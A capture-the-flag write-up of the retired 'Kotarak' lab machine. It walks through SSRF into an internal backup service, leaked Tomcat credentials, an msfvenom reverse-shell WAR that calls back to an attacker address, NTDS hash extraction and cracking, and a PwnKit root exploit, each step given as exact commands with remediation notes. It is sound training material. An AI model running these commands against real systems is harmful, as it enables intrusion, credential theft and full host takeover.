Kotarak
Summary
Port 60000 on the target ran an unauthenticated PHP file-viewer application whose url.php?path= parameter accepted arbitrary URLs including http:// addresses pointing at loopback, making the server act as a proxy into internal services that were firewalled from the internet. I used it to reach a backup service on loopback port 888 that returned a plaintext copy of Apache Tomcat Manager credentials.
Those credentials were used to deploy a malicious Java reverse-shell WAR file through the Tomcat Manager API on port 8080, landing a shell as the tomcat service account. Enumerating the tomcat home directory uncovered a leftover Active Directory credential export (ntds.dit and SYSTEM hive) from a prior engagement stored on the production server.
The NT hash for local account atanas was extracted and cracked offline to the password. Root was obtained via CVE-2021-4034 (PwnKit), a publicly known local privilege-escalation flaw in pkexec that any local user can trigger to execute code as root, producing a SUID-root shell used to capture both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path: how the box was taken
Exact commands 2
Version and default-script scan against the four discovered ports.
$ nmap -Pn -sV -sC -p 22,8009,8080,60000 --min-rate 3000 $TARGETProbe port 60000 for HTTP: confirms the PHP Simple File Viewer application.
$ curl -si "http://$TARGET:60000/"Exact commands 2
Confirm the SSRF is functional by fetching a loopback address through the parameter.
$ curl -si "http://$TARGET:60000/url.php?path=http://127.0.0.1:80/"Fuzz common loopback ports through the SSRF to map the internal attack surface: port 888 returns 200.
$ for port in 80 88 443 888 3000 8000 8443 9000; do echo -n "$port: "; curl -so /dev/null -w '%{http_code}' "http://$TARGET:60000/url.php?path=http://127.0.0.1:$port/"; echo; doneFixRemove or strictly restrict the SSRF-capable URL parameter on port 60000Critical
Exact commands 2
Reach the backup service root through the SSRF to identify available paths.
$ curl -s "http://$TARGET:60000/url.php?path=http://127.0.0.1:888/"Fetch the backup endpoint: returns tomcat-users.xml with admin:$PASSWORD2 in plaintext.
$ curl -s "http://$TARGET:60000/url.php?path=http://127.0.0.1:888/?doc=backup"Exact commands 4
Generate the reverse-shell WAR; substitute my IP for LHOST.
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o kotarak.warDeploy the WAR using the leaked Tomcat Manager credentials.
$ curl -sS -u "admin:$PASSWORD2" --upload-file kotarak.war "http://$TARGET:8080/manager/text/deploy?path=/kotarak&update=true"Start the listener before triggering the deployed app: catches the reverse shell.
$ nc -lvnp 4444Trigger the deployed WAR context: executes the JSP payload and sends the reverse shell.
$ curl -s "http://$TARGET:8080/kotarak/"FixRestrict Tomcat Manager to localhost and enforce strong unique credentialsCritical
Exact commands 3
Locate the NTDS.dit and SYSTEM hive from within the tomcat foothold shell.
$ find /home/tomcat/to_archive -iname '*.dit' -o -iname 'SYSTEM' 2>/dev/nullExtract NT hashes from the NTDS.dit: reveals atanas:$HASH.
$ impacket-secretsdump -ntds /home/tomcat/to_archive/pentest_data/active-directory/ntds.dit -system /home/tomcat/to_archive/pentest_data/active-directory/SYSTEM LOCAL 2>/dev/null | grep atanasCrack the NT hash offline: recovers $PASSWORD within seconds against rockyou.
$ printf "atanas:$HASH\n" > /tmp/kotarak_hash.txt && john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt --rules=single /tmp/kotarak_hash.txtFixPurge sensitive credential artifacts from production server filesystems immediately after engagementsHigh
Exact commands 5
Create the directory and stub file structure required for the argv[] injection.
$ cd /tmp && mkdir -p 'GCONV_PATH=.' pwnkit && touch 'GCONV_PATH=./pwnkit' && chmod +x 'GCONV_PATH=./pwnkit'Write the fake gconv-modules file that redirects library loading to my own path.
$ printf 'module UTF-8// PWNKIT// pwnkit 2\n' > /tmp/pwnkit/gconv-modulesCompile the payload shared library whose gconv_init() sets uid 0 and copies /bin/bash as SUID /tmp/rootbash. Use the published PoC at https://github.com/ly4k/PwnKit for the full pwnkit.c source.
$ gcc -shared -fPIC -nostartfiles -o /tmp/pwnkit/pwnkit.so /tmp/pwnkit/pwnkit.cTrigger the exploit: on success /tmp/rootbash appears with -rwsr-xr-x root ownership.
$ cd /tmp && GCONV_PATH=. pkexec /bin/trueConfirm root: should print uid=0(root) gid=0(root).
$ /tmp/rootbash -p -c 'id'FixPatch CVE-2021-4034 (PwnKit): update the policykit package immediatelyCritical
Exact commands 3
Read the user flag: owned by atanas, now accessible via SUID root shell. Returns <user.txt>.
$ /tmp/rootbash -p -c 'cat /home/atanas/user.txt'Read the root flag directly. Returns <root.txt>.
$ /tmp/rootbash -p -c 'cat /root/root.txt'Alternate method used in the actual engagement: read root flag through the deployed JSP webshell relay.
$ curl -sS --max-time 20 --data-urlencode 'cmd=/tmp/rootbash -p -c "cat /var/lib/lxc/kotarak-int/rootfs/root/root.txt"' "http://$TARGET:8080/kcmd/cmd.jsp" | sed -e 's/<[^>]*>//g'Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes: code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 8009/tcp | ajp13 Apache Jserv (Protocol v1.3) |
| 8080/tcp | http Apache Tomcat 8.5.5 |
| 60000/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.